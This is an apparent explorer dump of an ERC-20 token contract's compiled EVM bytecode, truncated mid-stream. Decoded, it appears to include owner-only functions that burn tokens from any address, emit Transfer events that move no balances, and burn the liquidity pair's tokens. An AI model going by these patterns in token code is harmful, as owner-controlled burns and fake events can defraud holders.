5405565b604082019050919050565b6000602082019050818103600083015261549081615454565b9050919050565b60006154a282614193565b91506154ad83614193565b9250828210156154c0576154bf6146f6565b5b828203905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061552760218361407b565b9150615532826154cb565b604082019050919050565b600060208201905081810360008301526155568161551a565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006155b960228361407b565b91506155c48261555d565b604082019050919050565b600060208201905081810360008301526155e8816155ac565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061564b60218361407b565b9150615656826155ef565b604082019050919050565b6000602082019050818103600083015261567a8161563e565b9050919050565b600081905092915050565b50565b600061569c600083615681565b91506156a78261568c565b600082019050919050565b60006156bd8261568f565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061570581614167565b92915050565b6000602082840312156157215761572061412b565b5b600061572f848285016156f6565b91505092915050565b6000819050919050565b600061575d61575861575384615738565b61426c565b614193565b9050919050565b61576d81615742565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6157a881614155565b82525050565b60006157ba838361579f565b60208301905092915050565b6000602082019050919050565b60006157de82615773565b6157e8818561577e565b93506157f38361578f565b8060005b8381101561582457815161580b88826157ae565b9750615816836157c6565b9250506001810190506157f7565b5085935050505092915050565b600060a08201905061584660008301886142e6565b6158536020830187615764565b818103604083015261586581866157d3565b90506158746060830185614455565b61588160808301846142e6565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206886f0bf111ed8c7a83d00bef43ba094ad69ebeb395e7e7c260ca21d964fb8d064736f6c634300080b0033

Deployed Bytecode

0x6080604052600436106103fe5760003560e01c80638a8c523c11610213578063bbbb3ffc11610123578063d85ba063116100ab578063f11a24d31161007a578063f11a24d314610f58578063f2fde38b14610f83578063f637434214610fac578063f8b45b0514610fd7578063fe72b27a1461100257610405565b8063d85ba06314610e9a578063dd62ed3e14610ec5578063e2f4560514610f02578063e884f26014610f2d57610405565b8063c18bc195116100f2578063c18bc19514610db5578063c2b7bbb614610dde578063c876d0b914610e07578063c8c8ebe414610e32578063d257b34f14610e5d57610405565b8063bbbb3ffc14610d0f578063bbc0c74214610d38578063c024666814610d63578063c17b5b8c14610d8c57610405565b80639ec22c0e116101a6578063a457c2d711610175578063a457c2d714610c04578063a4c82a0014610c41578063a9059cbb14610c6c578063aacebbe314610ca9578063b62496f514610cd257610405565b80639ec22c0e14610b5a5780639fccce3214610b85578063a0d82dc514610bb0578063a165506f14610bdb57610405565b8063924de9b7116101e2578063924de9b714610ab257806395d89b4114610adb5780639c3b4fdc14610b065780639dc29fac14610b3157610405565b80638a8c523c14610a1a5780638da5cb5b14610a315780638ea5220f14610a5c5780639213691314610a8757610405565b8063313ce5671161030e5780636ddd1713116102a1578063751039fc11610270578063751039fc146109475780637571336a1461097257806375f0a8741461099b5780637bce5a04146109c65780638095d564146109f157610405565b80636ddd17131461089f57806370a08231146108ca578063715018a614610907578063730c18881461091e57610405565b806349bd5a5e116102dd57806349bd5a5e146107e35780634fbee1931461080e578063504656861461084b5780636a486a8e1461087457610405565b8063313ce567146107275780633582ad2314610752578063395093511461077d5780633eb2b5ad146107ba57610405565b80631a8145bb1161039157806323b872dd1161036057806323b872dd1461064057806326ededb81461067d57806327c8f835146106a65780632c3e486c146106d15780632e82f1a0146106fc57610405565b80631a8145bb146105845780631f3fed8f146105af5780631ff3792c146105da578063203e727e1461061757610405565b806318160ddd116103cd57806318160ddd146104da5780631816467f14610505578063184c16c51461052e578063199ffc721461055957610405565b806306fdde031461040a578063095ea7b31461043557806310d5de53146104725780631694505e146104af57610405565b3661040557005b600080fd5b34801561041657600080fd5b5061041f61103f565b60405161042c9190614109565b60405180910390f35b34801561044157600080fd5b5061045c600480360381019061045791906141c9565b6110d1565b6040516104699190614224565b60405180910390f35b34801561047e57600080fd5b506104996004803603810190610494919061423f565b6110ef565b6040516104a69190614224565b60405180910390f35b3480156104bb57600080fd5b506104c461110f565b6040516104d191906142cb565b60405180910390f35b3480156104e657600080fd5b506104ef611133565b6040516104fc91906142f5565b60405180910390f35b34801561051157600080fd5b5061052c6004803603810190610527919061423f565b61113d565b005b34801561053a57600080fd5b50610543611205565b60405161055091906142f5565b60405180910390f35b34801561056557600080fd5b5061056e61120b565b60405161057b91906142f5565b60405180910390f35b34801561059057600080fd5b50610599611211565b6040516105a691906142f5565b60405180910390f35b3480156105bb57600080fd5b506105c4611217565b6040516105d191906142f5565b60405180910390f35b3480156105e657600080fd5b5061060160048036038101906105fc919061423f565b61121d565b60405161060e9190614224565b60405180910390f35b34801561062357600080fd5b5061063e60048036038101906106399190614310565b611273565b005b34801561064c57600080fd5b506106676004803603810190610662919061433d565b61130e565b6040516106749190614224565b60405180910390f35b34801561068957600080fd5b506106a4600480360381019061069f91906143f5565b6113e7565b005b3480156106b257600080fd5b506106bb6114c4565b6040516106c89190614464565b60405180910390f35b3480156106dd57600080fd5b506106e66114ca565b6040516106f391906142f5565b60405180910390f35b34801561070857600080fd5b506107116114d0565b60405161071e9190614224565b60405180910390f35b34801561073357600080fd5b5061073c6114e3565b604051610749919061449b565b60405180910390f35b34801561075e57600080fd5b506107676114ec565b6040516107749190614224565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f91906141c9565b6114ff565b6040516107b19190614224565b60405180910390f35b3480156107c657600080fd5b506107e160048036038101906107dc919061423f565b6115b2565b005b3480156107ef57600080fd5b506107f86115fe565b6040516108059190614464565b60405180910390f35b34801561081a57600080fd5b506108356004803603810190610830919061423f565b611624565b6040516108429190614224565b60405180910390f35b34801561085757600080fd5b50610872600480360381019061086d91906144e2565b61167a565b005b34801561088057600080fd5b50610889611727565b60405161089691906142f5565b60405180910390f35b3480156108ab57600080fd5b506108b461172d565b6040516108c19190614224565b60405180910390f35b3480156108d657600080fd5b506108f160048036038101906108ec919061423f565b611740565b6040516108fe91906142f5565b60405180910390f35b34801561091357600080fd5b5061091c611789565b005b34801561092a57600080fd5b5061094560048036038101906109409190614542565b61184f565b005b34801561095357600080fd5b5061095c61191b565b6040516109699190614224565b60405180910390f35b34801561097e57600080fd5b5061099960048036038101906109949190614595565b611947565b005b3480156109a757600080fd5b506109b06119aa565b6040516109bd9190614464565b60405180910390f35b3480156109d257600080fd5b506109db6119d0565b6040516109e891906142f5565b60405180910390f35b3480156109fd57600080fd5b50610a186004803603810190610a1391906145d5565b6119d6565b005b348015610a2657600080fd5b50610a2f611a61565b005b348015610a3d57600080fd5b50610a46611aa8565b604051610a539190614464565b60405180910390f35b348015610a6857600080fd5b50610a71611ad1565b604051610a7e9190614464565b60405180910390f35b348015610a9357600080fd5b50610a9c611af7565b604051610aa991906142f5565b60405180910390f35b348015610abe57600080fd5b50610ad96004803603810190610ad49190614628565b611afd565b005b348015610ae757600080fd5b50610af0611b22565b604051610afd9190614109565b60405180910390f35b348015610b1257600080fd5b50610b1b611bb4565b604051610b2891906142f5565b60405180910390f35b348015610b3d57600080fd5b50610b586004803603810190610b5391906141c9565b611bba565b005b348015610b6657600080fd5b50610b6f611bd0565b604051610b7c91906142f5565b60405180910390f35b348015610b9157600080fd5b50610b9a611bd6565b604051610ba791906142f5565b60405180910390f35b348015610bbc57600080fd5b50610bc5611bdc565b604051610bd291906142f5565b60405180910390f35b348015610be757600080fd5b50610c026004803603810190610bfd9190614655565b611be2565b005b348015610c1057600080fd5b50610c2b6004803603810190610c2691906141c9565b611bf8565b604051610c389190614224565b60405180910390f35b348015610c4d57600080fd5b50610c56611cc5565b604051610c6391906142f5565b60405180910390f35b348015610c7857600080fd5b50610c936004803603810190610c8e91906141c9565b611ccb565b604051610ca09190614224565b60405180910390f35b348015610cb557600080fd5b50610cd06004803603810190610ccb919061423f565b611ce9565b005b348015610cde57600080fd5b50610cf96004803603810190610cf4919061423f565b611db1565b604051610d069190614464565b60405180910390f35b348015610d1b57600080fd5b50610d366004803603810190610d319190614655565b611de4565b005b348015610d4457600080fd5b50610d4d611ec8565b604051610d5a9190614224565b60405180910390f35b348015610d6f57600080fd5b50610d8a6004803603810190610d859190614595565b611edb565b005b348015610d9857600080fd5b50610db36004803603810190610dae91906145d5565b611f8c565b005b348015610dc157600080fd5b50610ddc6004803603810190610dd79190614310565b612017565b005b348015610dea57600080fd5b50610e056004803603810190610e00919061423f565b6120b2565b005b348015610e1357600080fd5b50610e1c61212b565b604051610e299190614224565b60405180910390f35b348015610e3e57600080fd5b50610e4761213e565b604051610e5491906142f5565b60405180910390f35b348015610e6957600080fd5b50610e846004803603810190610e7f9190614310565b612144565b604051610e919190614224565b60405180910390f35b348015610ea657600080fd5b50610eaf612225565b604051610ebc91906142f5565b60405180910390f35b348015610ed157600080fd5b50610eec6004803603810190610ee79190614655565b61222b565b604051610ef991906142f5565b60405180910390f35b348015610f0e57600080fd5b50610f176122b2565b604051610f2491906142f5565b60405180910390f35b348015610f3957600080fd5b50610f426122b8565b604051610f4f9190614224565b60405180910390f35b348015610f6457600080fd5b50610f6d6122e4565b604051610f7a91906142f5565b60405180910390f35b348015610f8f57600080fd5b50610faa6004803603810190610fa5919061423f565b6122ea565b005b348015610fb857600080fd5b50610fc161241f565b604051610fce91906142f5565b60405180910390f35b348015610fe357600080fd5b50610fec612425565b604051610ff991906142f5565b60405180910390f35b34801561100e57600080fd5b5061102960048036038101906110249190614310565b61242b565b6040516110369190614224565b60405180910390f35b60606006805461104e906146c4565b80601f016020809104026020016040519081016040528092919081815260200182805461107a906146c4565b80156110c75780601f1061109c576101008083540402835291602001916110c7565b820191906000526020600020905b8154815290600101906020018083116110aa57829003601f168201915b5050505050905090565b60006110e56110de612726565b848461272e565b6001905092915050565b60256020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600854905090565b6111456128f9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b60115481565b60205481565b601f5481565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61127b6128f9565b670de0b6b3a76400006103e86001611291611133565b61129b9190614725565b6112a591906147ae565b6112af91906147ae565b8110156112f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e890614851565b60405180910390fd5b670de0b6b3a7640000816113059190614725565b600b8190555050565b600061131b848484612977565b6113dc84611327612726565b6113d7856040518060600160405280602881526020016158b260289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061138d612726565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461349e9092919063ffffffff16565b61272e565b600190509392505050565b6113ef6128f9565b60005b838390508110156114be578383828181106114105761140f614871565b5b9050602002016020810190611425919061423f565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114a391906142f5565b60405180910390a380806114b6906148a0565b9150506113f2565b50505050565b61dead81565b60135481565b601260009054906101000a900460ff1681565b60006012905090565b601560009054906101000a900460ff1681565b60006115a861150c612726565b846115a3856003600061151d612726565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c890919063ffffffff16565b61272e565b6001905092915050565b6115ba6128f9565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6116826128f9565b60005b838390508110156117215781601660008686858181106116a8576116a7614871565b5b90506020020160208101906116bd919061423f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611719906148a0565b915050611685565b50505050565b601b5481565b601560029054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117916128f9565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6118576128f9565b61025883101561189c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118939061495b565b60405180910390fd5b6103e882111580156118af575060008210155b6118ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e5906149ed565b60405180910390fd5b826013819055508160118190555080601260006101000a81548160ff021916908315150217905550505050565b60006119256128f9565b6000601560006101000a81548160ff0219169083151502179055506001905090565b61194f6128f9565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b6119de6128f9565b826018819055508160198190555080601a81905550601a54601954601854611a069190614a0d565b611a109190614a0d565b60178190555060196017541115611a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5390614aaf565b60405180910390fd5b505050565b611a696128f9565b6001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555042601481905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b611b056128f9565b80601560026101000a81548160ff02191690831515021790555050565b606060078054611b31906146c4565b80601f0160208091040260200160405190810160405280929190818152602001828054611b5d906146c4565b8015611baa5780601f10611b7f57610100808354040283529160200191611baa565b820191906000526020600020905b815481529060010190602001808311611b8d57829003601f168201915b5050505050905090565b601a5481565b611bc26128f9565b611bcc8282613502565b5050565b60105481565b60215481565b601e5481565b611bea6128f9565b611bf48282611de4565b5050565b6000611cbb611c05612726565b84611cb6856040518060600160405280602581526020016158da6025913960036000611c2f612726565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461349e9092919063ffffffff16565b61272e565b6001905092915050565b60145481565b6000611cdf611cd8612726565b8484612977565b6001905092915050565b611cf16128f9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611dec6128f9565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601560019054906101000a900460ff1681565b611ee36128f9565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f809190614224565b60405180910390a25050565b611f946128f9565b82601c8190555081601d8190555080601e81905550601e54601d54601c54611fbc9190614a0d565b611fc69190614a0d565b601b819055506063601b541115612012576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200990614b1b565b60405180910390fd5b505050565b61201f6128f9565b670de0b6b3a76400006103e86005612035611133565b61203f9190614725565b61204991906147ae565b61205391906147ae565b811015612095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208c90614bad565b60405180910390fd5b670de0b6b3a7640000816120a99190614725565b600a8190555050565b6120ba6128f9565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612128600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611947565b50565b602360009054906101000a900460ff1681565b600b5481565b600061214e6128f9565b620186a0600161215c611133565b6121669190614725565b61217091906147ae565b8210156121b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a990614c3f565b60405180910390fd5b6103e8600a6121bf611133565b6121c99190614725565b6121d391906147ae565b821115612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220c90614cd1565b60405180910390fd5b81600c8190555060019050919050565b60175481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b60006122c26128f9565b6000602360006101000a81548160ff0219169083151502179055506001905090565b60195481565b6122f26128f9565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612362576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235990614d63565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b600a5481565b60006124356128f9565b600f546010546124459190614a0d565b4211612486576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247d90614dcf565b60405180910390fd5b6103e88211156124cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c290614e61565b60405180910390fd5b4260108190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161252f9190614464565b602060405180830381865afa15801561254c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125709190614e96565b9050600061259b61271061258d86856136ce90919063ffffffff16565b61374990919063ffffffff16565b905060008111156125d6576125d5600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead83613793565b5b600060266000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156126a457600080fd5b505af11580156126b8573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846126d79190614a0d565b90508381101561271c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161271390614f0f565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561279e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279590614fa1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561280e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161280590615033565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516128ec91906142f5565b60405180910390a3505050565b612901612726565b73ffffffffffffffffffffffffffffffffffffffff1661291f613a2c565b73ffffffffffffffffffffffffffffffffffffffff1614612975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296c9061509f565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156129e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129de90615131565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4e906151c3565b60405180910390fd5b6000811415612a7157612a6c83836000613793565b613499565b601560009054906101000a900460ff161561308857612a8e611aa8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612afc5750612acc611aa8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b355750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b6f575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b885750600960149054906101000a900460ff16155b1561308757601560019054906101000a900460ff16612c8257602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c425750602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612c81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c789061522f565b60405180910390fd5b5b602360009054906101000a900460ff1615612e4c57612c9f611aa8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612d2657507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612d805750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612e4b5743602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612e06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dfd906152e7565b60405180910390fd5b43602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f3f57600b54811115612ee2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed990615379565b60405180910390fd5b600a54612eee83611740565b82612ef99190614a0d565b1115612f3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f31906153e5565b60405180910390fd5b613086565b602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612fda57600b54811115612fd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fcc90615477565b60405180910390fd5b613085565b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661308457600a5461303783611740565b826130429190614a0d565b1115613083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161307a906153e5565b60405180910390fd5b5b5b5b5b5b600061309330611740565b90506000600c5482101590508080156130b85750601560029054906101000a900460ff165b80156130d15750600960149054906101000a900460ff16155b80156131275750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561317d5750602460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156131c1576001600960146101000a81548160ff0219169083151502179055506131a5613a40565b6000600960146101000a81548160ff0219169083151502179055505b600960149054906101000a900460ff161580156131ea5750601260009054906101000a900460ff165b156131fa576131f885613bc8565b505b6000600960149054906101000a900460ff16159050602460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806132b05750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156132ba57600090505b60008115613489576000601b541115613395576132f560646132e7601b54886136ce90919063ffffffff16565b61374990919063ffffffff16565b9050601b54601d54826133089190614725565b61331291906147ae565b602060008282546133239190614a0d565b92505081905550601b54601e548261333b9190614725565b61334591906147ae565b602160008282546133569190614a0d565b92505081905550601b54601c548261336e9190614725565b61337891906147ae565b601f60008282546133899190614a0d565b92505081905550613465565b60006017541115613464576133c860646133ba601754886136ce90919063ffffffff16565b61374990919063ffffffff16565b9050601754601954826133db9190614725565b6133e591906147ae565b602060008282546133f69190614a0d565b92505081905550601754601a548261340e9190614725565b61341891906147ae565b602160008282546134299190614a0d565b92505081905550601754601854826134419190614725565b61344b91906147ae565b601f600082825461345c9190614a0d565b925050819055505b5b600081111561347a57613479873083613793565b5b80856134869190615497565b94505b613494878787613793565b505050505b505050565b60008383111582906134e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134dd9190614109565b60405180910390fd5b50600083856134f59190615497565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613572576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135699061553d565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156135f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135f0906155cf565b60405180910390fd5b816004546136079190615497565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816008600082825461365c9190615497565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516136c191906142f5565b60405180910390a3505050565b6000808314156136e15760009050613743565b600082846136ef9190614725565b90508284826136fe91906147ae565b1461373e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161373590615661565b60405180910390fd5b809150505b92915050565b600061378b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c86565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137fa90615131565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161386a906151c3565b60405180910390fd5b61387e838383613ce9565b6138ea8160405180606001604052806026815260200161588c60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461349e9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061397f81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613a1f91906142f5565b60405180910390a3505050565b600080613a37613cee565b90508091505090565b6000613a4b30611740565b90506000602154601f54602054613a629190614a0d565b613a6c9190614a0d565b9050600080831480613a7e5750600082145b15613a8b57505050613bc6565b6014600c54613a9a9190614725565b831115613ab3576014600c54613ab09190614725565b92505b600060028360205486613ac69190614725565b613ad091906147ae565b613ada91906147ae565b90506000613af18286613d9290919063ffffffff16565b90506000479050613b0182613ddc565b6000613b168247613d9290919063ffffffff16565b905060006020819055506000601f819055506000602181905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613b76906156b2565b60006040518083038185875af1925050503d8060008114613bb3576040519150601f19603f3